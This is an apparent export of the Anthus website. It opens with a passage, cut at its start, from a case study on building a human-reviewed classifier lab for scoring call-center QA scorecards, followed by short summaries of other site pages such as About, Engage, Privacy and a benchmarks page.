Before any of that could work, the measurements had to. When we arrived, scorecards were evaluated for "accuracy" against historic human labels, and that number was lying in two ways. First, the human QA scores behind it weren't consistent with each other on a lot of questions, so the historic labels made a poor dataset to build anything on. Second, most of their classification tasks are badly imbalanced: on a question where nearly every call is a "Yes", a classifier that answers "Yes" every time evaluates at 99 percent accuracy while doing nothing at all. We moved them to a metric built for imbalanced data, [Gwet's AC1](https://primus.anth.us/documentation/evaluation-metrics), so a scorecard's number meant what it said.

Then we changed where the labels came from. Instead of training against history, the classifier scores real calls first, reviewers audit a share of the results, correct the ones that are wrong, and, most important, say why they changed or kept each label. A metacognitive loop reads those explanations, forms hypotheses about what the scorecard is missing, and hill-climbs from there against held-out review. Once a scorecard is aligned, the reviewers step back and the human labelling effort drops, with ongoing feedback keeping it aligned rather than rebuilding it. We made that a repeatable process and ran it many times over, one scorecard after another. It is the same pattern we now run on decision models like Jev, where [one approved question lifted accuracy ten points](/blog/fine-tuning-jev/) with the model unchanged.

## The cheapest model that clears the bar

The first thing a lab lets you do is stop treating every scorecard the same. Some of their scorecards had to run on language ML models rather than LLMs, so we built many of those, and Primus works with them like any other classifier backend. Then we ran the evaluations across the whole portfolio to sort it: which scorecards could move to an ML classifier that costs orders of magnitude less and scores just as well, which ones needed an LLM fine-tuned to the task, and which ones a hosted model handled fine. That is the [maximize profit, not intelligence](/blog/maximize-profit-not-intelligence/) argument applied one scorecard at a time, with the evaluation numbers deciding rather than the vendor's default.

On top of that sorting we established the self-aligning optimization loop: evaluations test a hypothesis about a scorecard, a change that scores better on held-out review is promoted, one that doesn't is dropped, and the process hill-climbs accuracy version by version with the record to show for it.

## What running it looked like

With the measurement right and the labels coming from feedback, the lab turned QA into a loop rather than a queue.

1. A classifier scores each call against its client's scorecard.
2. Human experts review a subset, agree or disagree, and say why.
3. Every disagreement is a labelled example the model didn't have, aimed at the cases it was least sure about.
4. The explanations become stated policy the system applies from then on, and the model refits on the corrections.
5. A new version serves only when it clears held-out review on the slices that matter, with a record of what changed and who approved it.

That is reinforcement learning from human feedback as a daily operating procedure, and a data flywheel in the plain sense: the more the reviewers corrected, the less they had to.

Onboarding changed too. A new client scorecard used to take weeks of manual configuration. The lab reads the client's scoring criteria, generates a first classifier tuned to them, deploys it in days, and starts the loop immediately.

Running hundreds of scorecards this way meant running models every way there is. We served LLMs and fine-tuned LLMs with [vLLM on AWS](https://github.com/AnthusAI/Classification-with-Confidence), served small language models through [SageMaker Serverless Inference](https://github.com/AnthusAI/text-classifier-distillation), and used every kind of hosted model where it fit. We trained and fine-tuned on our own GPUs, in SageMaker training jobs, and through hosted fine-tuning like OpenAI's. Which one a scorecard got was an evaluation result, and the lab made switching a routine change.

## What it produced

- **Hundreds of scorecards** running at once, one per client, each with its own gate and its own reviewers.
- **Millions of calls** scored, within minutes of the call ending instead of days later.
- **Costs that stopped tracking volume.** ML classifiers where they cleared the bar, fine-tuned LLMs where they didn't, and no per-scorecard vendor bill in between.
- **Consistency** across evaluators, because the scoring criteria are applied the same way to every call.
- **Accuracy that climbed month over month**, on the record, version by version.

The reviewers didn't go away, and that was the design. Their judgment is what the system learns from; the lab's job is to spend their attention where it teaches the model the most.

## What it taught us

The lab we built for Call Criteria became the product we run for everyone. Primus grew out of this engagement, and the loop above is the one we offer as the [classifier lab](/blog/primus-classifier-lab/) today: start scoring now, review continuously, let the corrections align the model, pick the cheapest backend that clears the bar, gate every change, and own the result.

We now run the same loop on the new class of decision models like Jev. Primus treats a decision model as one more classifier backend, and the [Jev-Flywheel](https://github.com/AnthusAI/Jev-Flywheel) repository shows the alignment loop in miniature: reviewer feedback calibrating a hosted decision model's confidence, then one approved question lifting its accuracy ten points with the model unchanged. If you have a high-volume judgment task and a review team that can't keep up, [here's how an engagement works](/engage).

---

# Venue Driver

> A nightclub management system that has been the backbone of Las Vegas hospitality operations since 2007, processing over a quarter of a billion dollars in total revenue: Handled peak volumes of tens of millions of dollars per monthBegan as an on-premises solution for reservations and guest lists, t…

By [Ryan Porter](https://anth.us/ryan), [and the Anthus GPT](https://chat.openai.com/g/g-MA4ZbLQBi-assistant-alpha) · Published 2021-05-01

Canonical: https://anth.us/articles/venue-driver/

[DRAFT]

---

# About Us

> Anthus builds and operates self-aligning AI systems, grounded in production operations since 2007 — the reliability and security behind a multi-million-dollar platform, now applied to AI.

Canonical: https://anth.us/about/

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# AI Solutions

> Anthus builds and operates self-aligning AI systems — custom models, agent harnesses, and evaluation loops with a human in the loop, grounded in production operations since 2007.

Canonical: https://anth.us/ai-solutions/

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# Ryan Porter

> Anthus builds and operates self-aligning AI systems — custom models, agent harnesses, and evaluation loops with a human in the loop, grounded in production operations since 2007.

Canonical: https://anth.us/ryan/

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# Engage Anthus

> What an Anthus engagement looks like: bring any problem you think AI might solve, and we scope a first month with a record you can inspect. Classifier labs, factory-run software, and newsrooms are three examples.

Canonical: https://anth.us/engage/

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# Privacy Policy

> How anth.us handles your information: the contact form, analytics and cookies, hosting, and your choices and rights.

Canonical: https://anth.us/privacy/

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# Aligning Jev and Other Decision Models to Your Data

> You can't fine-tune Jev. Here is how to align a decision model to your own data instead: review its decisions, label the disagreements, calibrate its confidence, change the questions, gate by slice, and distill a classifier you own. Published measurements at every step.

Canonical: https://anth.us/decision-models/

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# Decision Model Benchmarks: Biased-Decisions and Hard-Decisions

> Two public benchmarks for decision models: Biased-Decisions measures how often an answer changes when one personal detail changes, and Hard-Decisions measures how accuracy falls as reasoning gets deeper.

Canonical: https://anth.us/benchmarks/

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# Anthus Platform

> Explore the Anthus Platform: the runtime, orchestration, MLOps, knowledge, observability, and media systems behind our AI-native delivery work.

Canonical: https://anth.us/platform/

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# Home

> Anthus builds self-aligning AI systems: custom models, agent harnesses, evaluation loops, and unattended automation with a human in the loop, grounded in production operations since 2007.

Canonical: https://anth.us/

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